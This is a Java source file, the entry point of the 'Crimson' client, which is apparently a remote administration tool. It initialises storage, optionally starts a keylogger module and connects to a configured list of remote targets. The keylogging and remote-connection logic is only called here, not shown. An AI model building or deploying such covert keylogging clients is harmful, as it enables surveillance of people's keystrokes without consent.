/****************************************************************************** * * * Copyright 2016 Subterranean Security * * * * Licensed under the Apache License, Version 2.0 (the "License"); * * you may not use this file except in compliance with the License. * * You may obtain a copy of the License at * * * * http://www.apache.org/licenses/LICENSE-2.0 * * * * Unless required by applicable law or agreed to in writing, software * * distributed under the License is distributed on an "AS IS" BASIS, * * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * * See the License for the specific language governing permissions and * * limitations under the License. * * * *****************************************************************************/ package com.subterranean_security.crimson.client; import java.awt.HeadlessException; import java.io.File; import java.io.IOException; import java.sql.SQLException; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import com.subterranean_security.crimson.client.modules.Keylogger; import com.subterranean_security.crimson.client.net.ClientConnectionStore; import com.subterranean_security.crimson.client.store.ConfigStore; import com.subterranean_security.crimson.core.Common; import com.subterranean_security.crimson.core.misc.AuthenticationGroup; import com.subterranean_security.crimson.core.misc.EH; import com.subterranean_security.crimson.core.storage.BasicDatabase; import com.subterranean_security.crimson.core.storage.StorageFacility; import com.subterranean_security.crimson.core.util.LogUtil; import com.subterranean_security.crimson.core.util.Native; import com.subterranean_security.crimson.universal.Universal.Instance; import com.subterranean_security.crimson.universal.stores.DatabaseStore; import com.subterranean_security.crimson.universal.stores.PrefStore; public class Client { private static final Logger log = LoggerFactory.getLogger(Client.class); public static void main(String[] args) { LogUtil.configure(); log.info("Initializing client"); // Establish the custom fallback exception handler Thread.setDefaultUncaughtExceptionHandler(new EH()); // Establish the custom shutdown hook Runtime.getRuntime().addShutdownHook(new ShutdownHook()); // Initialize preference storage initializePreferences(); // Check for other instances if (PrefStore.getPref().isLocked()) { System.exit(0); } else { PrefStore.getPref().lock(); } // Load native libraries Native.Loader.load(); // Initialize database initializeDatabase(); ConfigStore.loadConfig(); try { Common.cvid = DatabaseStore.getDatabase().getInteger("cvid"); } catch (Exception e2) { } log.debug("CVID: {}", Common.cvid); // Initialize connection stores ClientConnectionStore.initialize(); if (ConfigStore.getConfig().getKeylogger()) { try { Keylogger.start(ConfigStore.getConfig().getKeyloggerFlushMethod(), ConfigStore.getConfig().getKeyloggerFlushValue()); } catch (HeadlessException e) { // ignore } catch (Exception e) { log.error("Failed to start keylogger: {}", e.getMessage()); e.printStackTrace(); } } ClientConnectionStore.setTargets(ConfigStore.getConfig().getTargetList()); ClientConnectionStore.connectionRoutine(); } private static void initializeDatabase() { StorageFacility sf = new BasicDatabase(Client.class.getName(), new File(Common.Directories.base + "/var/client.db")); try { sf.initialize(); } catch (ClassNotFoundException e) { log.error("Failed to load SQLite dependancy"); System.exit(0); } catch (IOException e) { log.error("Failed to write database"); System.exit(0); } catch (SQLException e) { log.error("SQL error: {}", e.getMessage()); System.exit(0); } DatabaseStore.setFacility(sf); } private static void initializePreferences() { PrefStore.loadPreferences(Instance.CLIENT); } public static AuthenticationGroup getGroup() { try { return (AuthenticationGroup) DatabaseStore.getDatabase().getObject("auth.group"); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } return null; } }